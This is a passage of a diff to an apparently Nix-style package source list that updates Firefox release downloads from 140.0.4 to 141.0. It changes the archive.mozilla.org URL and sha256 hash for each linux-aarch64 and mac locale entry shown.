-      sha256 = "f7a7dc5dec812f3eeecc5eb08b4e5e0b19d1e230f5e599539d49b8cbbe283f37";
+      sha256 = "da17f7b2c861a07804fd98fee462cf6da603426797467380372e2c68b5b945c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/ur/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/ur/firefox-141.0.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
-      sha256 = "df2a6673417798160298d93f667c6f8cff6c6060b89b293e4553a4afb25ae426";
+      sha256 = "35c5e1c02075e28c7f76f5ac771b0b35758e8b5b0a5a2435600b9f8be24c0473";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/uz/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/uz/firefox-141.0.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "ca5f4503c25ca5e1489c050e08914ad382f7a66bb734a7be0a4e85d9f8481834";
+      sha256 = "d1647907db42347f77367caf013106ff62f1c1a51eb1cde86f334572ad92d5a5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/vi/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/vi/firefox-141.0.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "a5246465d7fd30150c5a2516efe8defaf4efd5ba4b31620af1c6aed83ddd49c4";
+      sha256 = "ef548241d63908c4bdc04650e312584216a7ce15e258b68ba064d26b70a48ecf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/xh/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/xh/firefox-141.0.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "563095415dae63d07dc071988e8beca12683b5df044cac470c9dc70688605dc5";
+      sha256 = "ed24a24c8d50fcbbdd1025f6559b6c253fc72c973d423dd7f3441c30578926d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/zh-CN/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/zh-CN/firefox-141.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "7d4dd6d7af3ae4ea0cdb340afbe83c44f2da2fbcfa6c324a2e5b6dd20a47ec6d";
+      sha256 = "01d874c868d51e1d19880be5074dbb32f30668fca9b014bde2b87212d1c32fe0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/linux-aarch64/zh-TW/firefox-140.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-aarch64/zh-TW/firefox-141.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "95320006e0a544120fa7d2ad27f0ef15b253f438a257b79c226e74dc8d26e1e6";
+      sha256 = "c2a4e9b0c02456c1b0ce79802702ddc630a3799d5750f6e4a3617ce9201ef9ae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ach/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ach/Firefox%20141.0.dmg";
       locale = "ach";
       arch = "mac";
-      sha256 = "4c8286ccda8e88bcde5ed66c235fae7bdeb15c98a10990dd7f3eb6ef8e65ad85";
+      sha256 = "2d646318cdc65f464af12315e8a17ef6744fc04fbc0b12946463b5b596b4952e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/af/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/af/Firefox%20141.0.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "e9f57d3a8e6e7e488f7fd54fae59f2be7b1233371079d898382fbd9c89acdef4";
+      sha256 = "1b89d705971d4bdbd06e44e3308387ebce02fd4fc74efba832ecf58ab0d7ab13";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/an/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/an/Firefox%20141.0.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "cb2fcb694e47d16477445f63730fff81e2b38b24cb9d8eb94587b62f8210b31e";
+      sha256 = "77239b8df0f3e31ab792c88da83f1a6e3aacc969771f5eee5b0e1da8af0ebcb6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ar/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ar/Firefox%20141.0.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "0c040cd1637142090716a9537cf89b249d1c82d782cf1d7f3ff6f86eeb3d6db1";
+      sha256 = "ac4bed4577c16d1ba718c943775972d9be75bebf3557ce3ff022cba66615b5a2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ast/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ast/Firefox%20141.0.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "1d255ef5534eaf6183aa214bafb72b588299662f7fb7af1bc892e5f83972304d";
+      sha256 = "e9b25785ca4720be251b000e6cbabaf73261d67154a0d4065eb8be4c18863a6e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/az/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/az/Firefox%20141.0.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "ecff452dfc9d0f42fbe2f2d7408d55648c45e92840010cfc7753f9ed5189624d";
+      sha256 = "5c95b3420193760f03c6fcba0b0ada000a7e1fc35d717e29f60aabd077c32892";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/be/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/be/Firefox%20141.0.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "405ea45bdf09994704affe968d6dcd2505b9450c1241105d0cec7cd849a0303d";
+      sha256 = "268a5916c3141599f085cceb17138af762cd96da1dcbee02b50613ef2d074557";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/bg/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/bg/Firefox%20141.0.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "de85ca7b6d121e8e0a55f53d65803b7d5782fb7afb1a0a7ec7483a3a1c68ba2c";
+      sha256 = "1cbb5a788f90002fa6953a2584015b1655b9989e6c638dcbc723265f08854a83";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/bn/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/bn/Firefox%20141.0.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "a8b21d3ab4a3e3dccc30e8188e9e953d17cbdf52534ebf53f5cc1d252cce99b3";
+      sha256 = "0f33952b98fa2b12559d1e26a5d685a7eb0a115b5ca83b5b2cf3b590e119c7d8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/br/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/br/Firefox%20141.0.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "536aca8e56e1990e329a23998db9628943ececa17a239eedb5f62f95a12494db";
+      sha256 = "4a78d0bd1b97bab98c3528ed6791f8a7051684352ed6833d21638a0d3ac7d023";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/bs/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/bs/Firefox%20141.0.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "0a13b4c61bdfda6274358f3a58baffa15b2ba40ebfc9b8fa5ae5da7317d590af";
+      sha256 = "d8cb8d7b77a0c87b637f170b33d574c229e23bd9d287e4a7d29bb1486250111d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ca-valencia/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ca-valencia/Firefox%20141.0.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "5d1f6569ac2b8c561334d5ada5245ef9aecf0814398e6d9ca89cd7c01f73cafb";
+      sha256 = "29345bba27c498514d970b1aa7493a308b4d064615d4200e3ac9130ce7a53838";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ca/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ca/Firefox%20141.0.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "a97bca2cd5de2dbcb6d04e14f45b5e9144bb5d035464a9a056fa8eb633de89be";
+      sha256 = "0730fb671f74c191a5809fc08ea4daad06e472dc44533080903c0355d81e5a96";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/cak/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/cak/Firefox%20141.0.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "e6b815c4631d3fc622b5912fa286ea0b626a9d2fc81595e7492c656a6b1e9111";
+      sha256 = "26d1fa860c369c0506f3daac0451640c485333fc8a8802b5bd7b590d113bc3db";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/cs/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/cs/Firefox%20141.0.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "e60d7c7f78d2178457c357bf89f4687c94a1fe1e8212626957823b1c13ab11c3";
+      sha256 = "db5a9752316e661df2f6556cba4cab098c301bf4ebb1d48417dc88d3f460fda9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/cy/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/cy/Firefox%20141.0.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "6af60b846d8b7f0ba3eba2f3a6b3eb41f935d109ebe59cbbbc6948a2bae6eb2b";
+      sha256 = "4dc37b54778326a75fbc24af6e44bba7a1a226781e24dcd95f98a24e1a9c0942";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/da/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/da/Firefox%20141.0.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "f8b04a2d2c4c966a5451d964b23b6c6136cdf2ad2a86f1f3e6820c63fc7d9940";
+      sha256 = "48c99e8604547336100444fd9b395bfc937d43fcef3c49709c71fa68c329a264";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/de/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/de/Firefox%20141.0.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "b51a3ba43c4a0afd4cdd78e44ab5795663fe07c49dc1fef3fccf5c5ba5049bda";
+      sha256 = "5ae1392c6281d460a98f063cadea1c8a72dfac311ea5f165f26af883896afad3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/dsb/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/dsb/Firefox%20141.0.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "8fe058e953664730490b54d549825282458dd031087df0c3ee72838f88141005";
+      sha256 = "0c3be90c018466786add506e2978e27b14cc2ea52b22aabf3e531fcbd9f147dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/el/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/el/Firefox%20141.0.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "dd4f77a7d168a2dea9229a9a7fcde85fd33484242802ba3adf543133d1485ea9";
+      sha256 = "1654e0ff5e19a5a3e3831724f3a6a70f0dd914b73cc1add013e8c6078582f9ed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/en-CA/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/en-CA/Firefox%20141.0.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "a6577b839347ca1dcb6fdc4e017ac277238f969fe567a2923ae1d19a02408600";
+      sha256 = "46030b203e41d4b5a6533898ff0bc8ac55e0b31649cc90f99981c86949e0774b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/en-GB/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/en-GB/Firefox%20141.0.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "027a7b1755d0a2a6dd1eddc1ca71f9dbb4d43b9f8c81fce32a18e2bd41550aca";
+      sha256 = "ab20062bbccce286e6f499b5d29dad23e8706b52fea62e5ca84bddce99339450";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/en-US/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/en-US/Firefox%20141.0.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "e97d88d6ac04766cc52963d0d8f567bd39464bfc612167cd81627e6bb22d1d8c";
+      sha256 = "37b716b18a7852d3253e9444dbd0eb275204e54b589cc7ad38209c7fceb7ccf3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/eo/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/eo/Firefox%20141.0.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "488e0a613dbb62ef53d244dac8c9ab1349c2ea6b4ccc84ab57836103502dfb65";
+      sha256 = "7f3cde6487f4340176f0bf665a7b279b9a8bb334125e17c1731e8ba31ae494e7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/es-AR/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/es-AR/Firefox%20141.0.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "da7725fb75155f96a0abc50cb503e32d17f8debb3002e010a3ebf59b5a2bbb99";
+      sha256 = "67dc1c5e17c8a9b53c11daf1fb9b9b756a982e55cccf9b9aefc0b4295f03888f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/es-CL/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/es-CL/Firefox%20141.0.dmg";
       locale = "es-CL";
       arch = "mac";
-      sha256 = "650a8f2d8198eded9cf01ab44668c46b6c5100524478017e9a1a95332976146d";
+      sha256 = "c97042717572fed5637a061ea3272b65ceceea1b02f29f6f6119d5bd77b9c372";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/es-ES/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/es-ES/Firefox%20141.0.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "aff48cbc6a8dab4c88a9ed40222e85c27d44c281e7d9b0f835e84820f8909fad";
+      sha256 = "86ab897195a45161d8a91e1beec7d95ec4b638ed040ffd3cbd3c73d09149e50b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/es-MX/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/es-MX/Firefox%20141.0.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "243d59d14008425a1c264713586cf13ffcc375b56de828f8cda5a4ae22b459bb";
+      sha256 = "c5acd527fa2441bcc8970dfcda84dd219e18247153e5c540b366e95934caf6e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/et/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/et/Firefox%20141.0.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "c3403c2475c259c1e775598814455c0954d0aa788993014a481355d71e38a9b4";
+      sha256 = "e99a68d5f1462498c64950752e1d1148c4c4e54c1cc118bad125d901b3e3592f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/eu/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/eu/Firefox%20141.0.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "49cb5f48d63040c0bdaa236d12139ca3f04795c164813893128228ff2f23d944";
+      sha256 = "62811cbc10df1cfc6edc4335ae1b28aae766c928ed3ea96aa30c757c22ff9593";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/fa/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/fa/Firefox%20141.0.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "80807e3b049f0568492a67dd346a42cac86da5a07318d5dda2b7e596a6a20b5a";
+      sha256 = "9040a8fd73f666ea883273537f7f704cfc5e2f8fd4076e754ad305fdce081de5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ff/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ff/Firefox%20141.0.dmg";
       locale = "ff";
       arch = "mac";
-      sha256 = "cd75707ccad5392126b4f2e2059b226925b5762eb5ee5d9cc6f3d8be62d1dfdb";
+      sha256 = "1fabff46a95fab8aadc282dd4457ee3e7f47868a8313abaf00b4bb3e484d642e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/fi/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/fi/Firefox%20141.0.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "51578245b8bd2eb40aeebca324940634c7fa735a2d1e313a58bee237bd708625";
+      sha256 = "27649db4540cc76b263c6206daf18bfa105d4898ce34a9d7b6ffb3ce45f6a188";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/fr/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/fr/Firefox%20141.0.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "983937d9e3fe76aa0b90150ea43fc6ae9d4595a2cd5ad23fe0b7b441d742b5a0";
+      sha256 = "30ff050bc6cb530af58113d67fab3c58a8a5e2daba2c7a006e27a01c0763edf3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/fur/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/fur/Firefox%20141.0.dmg";
       locale = "fur";
       arch = "mac";
-      sha256 = "c93f087be6cdc2c1ef2ffcc4f4fa5c23a768fa46a0cf089e37c102bf3722f92f";
+      sha256 = "f5bd86f76936041dbb89072c05bdd09f9191bbf132f30a5104f6d8556eb007b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/fy-NL/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/fy-NL/Firefox%20141.0.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "5cab4a45193a8983fdfdaa39f96fc091d02360546b526a64fe15b2f66644a5af";
+      sha256 = "037fb3559a0e9df8ef64fd0709389b13bbdc05bab7b532e18ea31691e49025b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ga-IE/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ga-IE/Firefox%20141.0.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "10d323fff09bb3cee2d99262a86726815ee36396ff0ad15a55213876b7b956e0";
+      sha256 = "d2b8ffbb97c1632fd87b383fe48366bde9b0a31341efcf7e36534d0d6ac1e639";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/gd/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/gd/Firefox%20141.0.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "83ff0d14ae302cacef73c078f4d2a10c845376f928b4302e2dcb1a197db97190";
+      sha256 = "94adf31c9d91323dcd6d8f76ee94dae258d80ea851dc47417a98afe8d526cd98";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/gl/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/gl/Firefox%20141.0.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "96cb66a2829c0cc22157e0b53c782de7c281e96a5044bdc73f905c1140e4ff6c";
+      sha256 = "2b59bad54487b5847b952f9f7c127dd0091ec11240e8693b0cca3bc6abd299ba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/gn/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/gn/Firefox%20141.0.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "7bcb00d87a9274aa154b3ca74272389180df0a1d399c7e9840a19f61c0714b21";
+      sha256 = "7b3124230895938621fdfff33af4c2c4cf3ef1de458b6f8b261a70918fcbcccd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/gu-IN/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/gu-IN/Firefox%20141.0.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "26d644391bf6e772c3cb5551eecddbfe1eb03d1f0acf3905071019e268151fee";
+      sha256 = "761af68dfd2a6d83102f73fed9830bc74d69ec6de00dffdcd6850f410c367b82";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/he/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/he/Firefox%20141.0.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "2fa8005f947b7af24fe8b2099b7c5a1b4ba0703271ef7b77aedc3d154c8dc35c";
+      sha256 = "40080800f9dcf6b7133c86b671f7dccaa12a3ad5530810de548f52b7628d6e96";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/hi-IN/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/hi-IN/Firefox%20141.0.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "656fc2cd7490d2da9ec61ddd4df9b9bf384e80cd87e718e2394e02de393837dc";
+      sha256 = "a1f2030fbc7caea2db22cbca1395131d98d4004a190b25176e0ad45badece8ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/hr/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/hr/Firefox%20141.0.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "37f3c1a7026e32fdf89eeaa19b9b77243eae301766ba6d2be42ac936d837fec2";
+      sha256 = "1c7a3c44423e6b29deb06337f610e0de4839d5bba0b4e82c1336ab2867289d97";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/hsb/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/hsb/Firefox%20141.0.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "a47e0bf57e7067b8c88e284b8b725ce860bc02800e25a4f47bfe6614355840b1";
+      sha256 = "f95ca452f3a35561bff5c0978d2420cc45d2c4efcc1d24a9be7dc2fd01247593";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/hu/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/hu/Firefox%20141.0.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "3b3b56a4da6934fb4945d8b386810503752104b0973e3ce20d826142e1c87f81";
+      sha256 = "451a87db40008ed51641d84ab0f001ac060f06644691b2a39756282379f4c5d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/hy-AM/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/hy-AM/Firefox%20141.0.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "b3949d87e2eac12b715340590ccbbfd67382d40928a0a641f2c017d044e78049";
+      sha256 = "f2850be54a81a819f60701b98e488e4dc16982afc2c12d94e96445033b94fb3c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ia/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ia/Firefox%20141.0.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "443fca414194feb84e801baabe6592ed95858c96b2f8b4e569fcb701b579e822";
+      sha256 = "0c5a37dc15eb95535926f528e7502d86fa3995af0d6675e39c4b1fcb869d31e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/id/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/id/Firefox%20141.0.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "a3cb49eda1eb25f5099df6f82e5483f0b3be5f1c919c83950f5fdbac22f580e7";
+      sha256 = "12a69b1077f5b1547fa539a3b5808dd3844d07ebb63a1ad0a18b322ad2d06831";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/is/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/is/Firefox%20141.0.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "7b70819e255261c0a0c1ae32ad69d2dce1da301fe9b3eda4b656f5d3a9c2c938";
+      sha256 = "860f21eb86b1b32d0f221f80d33bd1845e8190749a6f506a743735acbe43a3e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/it/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/it/Firefox%20141.0.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "b6f2be2b39f18483009de42a3da9f752b0564b55f56e1b00cd289db530e218a7";
+      sha256 = "abf920bdcc9e64d1c3942eb8fb225bdffe792d82a99d45ecdec1dc7ec88821fd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ja-JP-mac/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ja-JP-mac/Firefox%20141.0.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "b24cc09f5bbff3f55aa28d4728ff347464891edb66219df9c6f2e44ed860107f";
+      sha256 = "4d10b017c618a656a133701a89573e635607582b3c7f93de12c46ab20a6bdf34";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/ka/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ka/Firefox%20141.0.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "4260c25eeeda5198d62eedc945f26d488aff857365ee81088e52629035039f14";
+      sha256 = "a1b00a24f8c5f42dd0ca424695c0750e9c8894e0d9b6a17fae8ac89a8575823a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/kab/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/kab/Firefox%20141.0.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "5d29fa67a92bd3447b8bdb7023d2979087427980ffe1128b1661d0b0615c1169";
+      sha256 = "cf02236311dcb1e2388640373cef5bf2d46b0cb5d561ebda7d1ccc74a31454f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/kk/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/kk/Firefox%20141.0.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "e746741ab8ff463985849f3b65a82a0105605bc689d3f27f9e9dfc26433d125a";
+      sha256 = "06f791c414b7b1230ccb9c06ede74fa557896daa96333571474a864a9247444b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/km/Firefox%20140.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/km/Firefox%20141.0.dmg";
       locale = "km";
       arch = "mac";
-      sha256 = "9c72595599c6943194bdf659b6d7a7d55f68be905f139a88ad511ab3e7c54863";
+      sha256 = "02fc09e2aa767ffc54d9619173e87e1ae6dbd1bd1a8ecde5840c5b389c135628";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.4/mac/kn/Firefox%20140.0.4.dmg";
